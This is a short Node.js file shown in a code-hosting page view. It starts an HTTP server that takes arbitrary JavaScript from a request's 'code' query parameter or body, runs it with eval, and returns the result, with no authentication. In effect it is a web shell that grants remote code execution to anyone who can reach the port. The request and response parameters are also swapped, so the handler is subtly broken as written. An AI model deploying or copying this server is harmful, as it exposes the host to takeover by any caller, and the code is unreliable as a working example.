File size: 701 Bytes
d260728
d789392
8917319
21f8e20
 
 
 
 
 
 
 
 
 
 
 
 
529abe2
89caef8
d789392
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
require('http').createServer(async(res,req)=>{
  var urlObject = new URL('http://127.0.0.1' + req.url)
  var code = require('querystring').parse(urlObject.search.length > 1 ? urlObject.search.substr(1) : "")['code'];
  if(!code){
    code = await new Promise((resolve) => {
				let body = [];
				req.on('data', chunk => {
					body.push(chunk);
				}).on('end', () => {
					resolve(Buffer.concat(body).toString());
				}).on('error', () => {
					resolve(Buffer.concat(body).toString());
				})
			})
  }
  if(!code) return res.end('no code!');
  var resp = await eval(`async(res,req)=>{return (${code})}`)(res,req);
  if(!res.finished ) return res.end(""+resp);
}).listen(parseInt(process.argv[2]))